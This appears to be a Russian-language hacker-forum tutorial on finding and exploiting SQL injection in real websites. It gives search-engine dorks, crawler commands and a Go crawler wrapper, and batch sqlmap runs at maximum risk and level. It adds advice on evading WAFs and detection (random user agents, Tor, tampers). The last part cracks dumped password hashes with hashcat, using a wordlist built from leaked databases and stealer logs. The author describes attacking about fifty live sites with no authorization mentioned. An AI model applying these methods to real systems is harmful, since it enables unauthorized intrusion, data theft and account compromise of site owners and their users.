Изучая тему SQL-инъекций, вы могли слышать о так называемых дорках. В целом, дорки — это запросы в поисковую систему, которые, как правило, используют специальные операторы поиска и раскрывают больше информации, чем было запланировано. Например, запрос bookname filetypedf — это дорка, которая позволяет найти PDF-документы с нужной книгой (работает примерно в половине случаев). Или, например, дорка "START test_database" ext:log позволяет найти логи, которые могут содержать полезную информацию, такую как имя пользователя. Дорка filetype:sql "insert into" (pass|passwd|password) находит записи паролей в базе данных (или, скорее, в ханиподах). Дорок существует очень много, и примеры можно найти в Google Hacking Database (GHDB) - Google Dorks.
Но что собой представляют дорки для SQL-инъекций? Дорки для SQL-инъекций — это запросы, в которых происходит взаимодействие с базой данных, а значит, существует потенциал для выявления уязвимостей.
Например, возьмём что-то из списка SQL-injection-dorks-list/google dorks for sql injection.txt at GitHub. Допустим, это дорка products/product.php?pid=. Поисковый запрос будет inurl:"products/product.php?pid=", можно также добавить ключевые слова, например, shop, и мы получим готовые ссылки, с которой можно работать.
По этой логике можно легко составить свои дорки.
Кстати, дорки могут использоваться не только в Google, но и в Shodan или даже в Wayback Machine.
Веб-краулер
Веб-краулеры — это программы, которые обходят весь сайт, "нажимая каждую кнопку", тем самым составляя полную карту сайта. Если в дорках мы сразу находили эндпоинты, чья логика обращается к базе данных, то теперь мы пойдем другим путем: мы исследуем весь сайт в поисках этих эндпоинтов. В этом нам поможет Katana.
Katana — это CLI веб-краулер, написанный на Go. Официальный репозиторий доступен на GitHub. Программу можно установить с помощью команды:
go install github.com/projectdiscovery/katana/cmd/katana@latest
Флаги для Katana рекомендую подбирать самостоятельно. Вот пример моего варианта: katana -u https://domen.com/ -silent -kf all -d 3 -jsl -jc -o urls.txt
- -u указывает URL, который будет сканироваться.
- -silent подавляет вывод лишней информации и ошибок, оставляя только результаты.
- -kf all включает все фильтры для извлечения URL-адресов, включая ссылки из HTML, JavaScript и других источников, доступных на странице.
- -d 3 задает глубину сканирования.
- -jsl указывает на извлечение ссылок из JavaScript-файлов.
- -jc извлекает JavaScript-контекст, то есть ссылки, которые появляются в результате работы скриптов (например, динамически создаваемые ссылки).
- -o urls.txt указывает файл для вывода, куда будут сохранены результаты. В данном случае все найденные URL будут записаны в файл urls.txt.
Реализуем скрипт на Go аналогично предыдущим (по какой-то причине Katana не захотела работать с файлом ссылок). Поскольку программа отдает лог по частям, изменим логику. Вместо использования метода CombinedOutput, который ждет завершения команды и возвращает весь вывод целиком, будем использовать StdoutPipe() для того, чтобы читать данные по мере их поступления.
C-подобный: Скопировать в буфер обмена
Code:
func main() {
domensFileToRead, err := os.Open("domens.txt")
if err != nil {
fmt.Println("Ошибка при открытии файла domens.txt:", err)
return
}
defer domensFileToRead.Close()
LogFile, err := os.OpenFile("log.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Ошибка при открытии файла для логов:", err)
return
}
defer LogFile.Close()
LogWriter := bufio.NewWriter(LogFile)
urlScanner := bufio.NewScanner(domensFileToRead)
for urlScanner.Scan() {
url := urlScanner.Text()
hostCmd := exec.Command("./katana", "-u", url, "-silent", "-kf", "all", "-d", "3", "-jsl", "-jc")
stdout, err := hostCmd.StdoutPipe()
if err != nil {
fmt.Printf("Ошибка при создании pipe для команды katana для url %s: %v\n", url, err)
continue
}
if err := hostCmd.Start(); err != nil {
fmt.Printf("Ошибка при запуске команды katana для url %s: %v\n", url, err)
continue
}
scanner := bufio.NewScanner(stdout)
for scanner.Scan() {
line := scanner.Text()
_, err := LogWriter.WriteString(fmt.Sprintf("%s\n", line))
if err != nil {
fmt.Println("Ошибка при записи в файл log.txt:", err)
return
}
LogWriter.Flush()
}
if err := scanner.Err(); err != nil {
fmt.Printf("Ошибка при чтении вывода katana для url %s: %v\n", url, err)
}
if err := hostCmd.Wait(); err != nil {
fmt.Printf("Команда katana завершилась с ошибкой для url %s: %v\n", url, err)
}
}
if err := urlScanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла domens.txt:", err)
}
}
Получив достаточно много ссылок отберем те, которые явно указывают на наличие уязвимостей.
Спойлер: Поиск уязвимостей
Sqlmap
SQLmap — это утилита для автоматизации эксплуатации SQL-инъекций. Она умеет делать дампы баз данных, и если все проходит успешно, процесс довольно простой. По сути, читаем лог, отвечаем на вопросы, находим уязвимость, получаем базы данных, затем таблицы, затем записи, затем дамп. Попробовать можно на тестовой базе данных http://testphp.vulnweb.com/.
План следующий: передаем ссылку в SQLmap (ссылку, где либо есть уязвимость, либо где она потенциально может быть) и пытаемся получить базу данных. Да, но нет. За несколько часов я проверил около пятидесяти целей (которые не казались особенно защищенными) и нашел лишь одну error-based SQL уязвимость. Далее по плану было получение баз данных (с помощью length и сравнения с номерами ASCII символов), затем таблиц, но на этом этапе в игру вступил WAF и разрушил все планы. WAF блокировал любые SELECT, sub-SELECT, UNION, кавычки, получение схемы таблиц — все это на уровне вызова функций, а не на уровне синтаксиса. Как бы я ни пытался, достать список таблиц не удалось. Можно сказать, что это не самый эффективный способ поиска баз данных. За это же время я легко нашел несколько баз данных, используя дорки, и написал несколько своих дорок по принципу существующих. Но все же это валидный способ.
Для ускорения работы SQLmap рекомендую, по возможности, заранее узнать СУБД на сайте (например, через Shodan или по открытому порту с помощью nmap, или проверить вручную, если вы уже видите уязвимость). Обязательно используйте флаг --random-agent, потому что по умолчанию SQLmap использует свой пользовательский агент. Если хотите, чтобы SQLmap отвечал на вопросы автоматически, используйте флаг --batch (что, впрочем, не всегда самая оптимальная стратегия, но можно кастомизировать ответы). Используйте прокси или Tor, потоки, флаги level и risk, а также тамперы, чтобы обойти WAF. Также SQLmap может установить sqlshell и даже osshell. Команда для автоматической работы: sqlmap -m potential_sqli_urls.txt --batch --risk 3 --level 5
Параллельно работе с SQLmap, я обнаружил куда более быстрый способ собрать потенциальные точки уязвимостей, используя Wayback Machine. Команда:
waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '.php|.asp' | sort -u | sed 's/(=[^&]*)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt
(намного быстрее Katana).
CVE
Скажу несколько слов про CVE. Многие из них будут на CMS no_name с 10 звездами на GitHub. Однако, изучив ее механизм, можно составить заметку и поискать на аналогичных CMS. До сих пор встречаются уязвимости вроде --' на продуктах с пользователями внутри систем. Для проверки наличия целей под CVE необходимо составить дорку для Google/Shodan и проверить так, как описано в CVE. Найти что-то уникальное будет сложно, но думаю, многие так считают, а на самом деле что-то найти можно.
Сканнеры
Еще один вариант нахождения уязвимости SQL-инъекции — это проверка с помощью автоматического сканирования. Для примера можно взять Acunetix, загрузить в него ссылки для поиска SQL-инъекций, а после нахождения уязвимостей перейти к sqlmap. Изначально этот вариант казался мне интересным, но он показал себя слабо: пропускал SQLi там, где они точно были, и практически не находил новые. Я бы рекомендовал запускать полное сканирование и анализировать все уязвимости сайта, так интереснее.
Подводя итоги, хочу сказать, что самым интересным, на мой взгляд, является поиск через дорки с последующим использованием sqlmap. Поиск через проверку потенциальных ссылок тоже является хорошим вариантом, но получение результата может занять много времени.
Спойлер: Полученная база данных
Кодировка, Хеширование, Соль
В большинстве случаев после получения базы данных определённые поля в ней (обычно пароли и другая чувствительная информация) будут не в виде чистого текста, а в виде белеберды, называемой хешем.
Кодировка и хеширование — это не одно и то же. И то, и другое является процессом преобразования данных по определённому алгоритму. Разница в том, что всё, что закодировано, может быть раскодировано, а всё, что захешировано, не может быть расхешировано. Хеш-функция по определению является однонаправленной.
Процесс устроен следующим образом: при регистрации пользователя сервер генерирует значение хеш-функции на основе его пароля и сохраняет его в базу данных. Каждый раз, когда пользователь входит в систему, сервер вновь генерирует хеш-функцию и сверяет её с той, что хранится в базе данных. То есть проверяются не сами пароли, а их хеш-значения.
Существуют множество различных хеш-алгоритмов. Главное требование к ним — отсутствие коллизий: один вход должен давать один выход. Также их особенностью является правило: любой размер на входе — всегда одинаковый размер на выходе. Поскольку люди часто используют одинаковые пароли, можно создать множество потенциальных разумных вариантов паролей и пропустить их через хеш-функцию, получив все возможные комбинации. Затем хеш-пароли базы данных сравниваются с полученными результатами, что позволяет "пропустить" процесс назад (поскольку исходные данные нам известны). Это называется атака по таблицам радужных цепей (rainbow tables).
Но что если во время генерации хеша сервер будет добавлять дополнительное значение X к каждой записи? То есть password будет превращаться в xpassword. В таком случае значения хешей полностью изменятся, и подобрать их за разумное время станет практически невозможно, ведь вариантов X уже бесконечное множество (X может быть чем угодно, любой длины). Это называется соль.
Снимаем хеш
Хеш: 19b955d6fdb85b4dc95a8f2d3ab6eff0
Первым делом необходимо определить тип хеша. Для этого можно использовать утилиту hash-identifier, либо ChatGPT также отлично справляется с этой задачей. В данном случае это MD5.
Далее — дехеширование. Существуют онлайн-сервисы, например, hashes.com. Один запрос — и мы сняли хеш, узнав пароль.
Но что делать, если у нас большое количество хешей? Как организовать атаку с использованием радужных таблиц?
Для атаки понадобится словарь. Его можно собрать из ранее утекших в сеть паролей. Заходим в Telegram и находим несколько каналов с базами данных. Подойдут также логи, пароли из репозиториев на GitHub — в целом, любые реальные пароли людей.
Переходим к коду:
C-подобный: Скопировать в буфер обмена
Code:
func main() {
// 1
dir := "base"
// 2
resultFile, err := os.Create("res.txt")
if err != nil {
fmt.Println("Ошибка при создании файла:", err)
return
}
defer resultFile.Close()
// 3
files, err := ioutil.ReadDir(dir)
if err != nil {
fmt.Println("Ошибка при чтении директории:", err)
return
}
for _, file := range files {
if filepath.Ext(file.Name()) == ".txt" {
processFile(filepath.Join(dir, file.Name()), resultFile)
}
}
// 4
removeDuplicates("res.txt")
}
// 5
func processFile(filePath string, resultFile *os.File) {
file, err := os.Open(filePath)
if err != nil {
fmt.Println("Ошибка при открытии файла:", err)
return
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
if strings.Contains(line, ":") {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
value := strings.TrimSpace(parts[1])
if len(value) >= 6 && len(value) <= 32 {
resultFile.WriteString(value + "\n")
}
}
}
}
if err := scanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла:", err)
}
}
// 6
func removeDuplicates(filePath string) {
file, err := os.Open(filePath)
if err != nil {
fmt.Println("Ошибка при открытии файла:", err)
return
}
defer file.Close()
uniqueLines := make(map[string]bool)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
uniqueLines[line] = true
}
if err := scanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла:", err)
return
}
outputFile, err := os.Create(filePath)
if err != nil {
fmt.Println("Ошибка при создании файла:", err)
return
}
defer outputFile.Close()
for line := range uniqueLines {
outputFile.WriteString(line + "\n")
}
}
- В директорию base сохраняем найденные файлы.
- Создаем файл res.txt для хранения паролей.
- Проходим по всем .txt файлам в директории base.
- Удаляем дубликаты из res.txt.
- Функция для обработки каждого файла проверяет, есть ли в строке двоеточие, разбивает строку по двоеточию, проверяет длину второй части и записывает результат в файл.
- Функция для удаления дубликатов из файла открывает файл, читает строки в карту и переоткрывает файл с уникальными строками.
База паролей готова. Можно реализовать атаку самостоятельно, но можно воспользоваться готовыми инструментами, например, hashcat. Команда будет следующей: hashcat -m 0 -a 0 "19b955d6fdb85b4dc95a8f2d3ab6eff0" res.txt
- -m 0 — указывает режим работы, тип хеша.
- -a 0 — указывает тип атаки, в данном случае это атака по словарю.
- Далее указываем хеш и словарь.
Также для этой задачи подойдет John the Ripper.
Следующий хеш - 2a10$JCXAlrowI4neyj/lOXrb2ORp1hcpOAUR9GzHXyUkWDs3KHl0zMIOC
Определяем хеш (для этого воспользуемся ChatGPT) + CyberChef, убедившись, что это bcrypt. В таком случае атака будет затруднена. Bcrypt может быть реализован с использованием случайной соли, которую будет сложно угадать с помощью словаря. В таком случае мы не сможем получить пароли в чистом виде. Соль можно попытаться найти в исходном коде сайта или поискать дополнительные уязвимости, которые раскроют эту информацию. Может случиться так, что вы получите дамп базы данных, но хеши будут хорошо защищены от атак.
Подводя итог: SQL-инъекции всё ещё существуют, и при должном масштабировании могут быть успешно эксплуатируемы, хотя на пути встретится немало защитных механизмов.
Весь исходный код прикреплён к сообщению. Трям! Пока!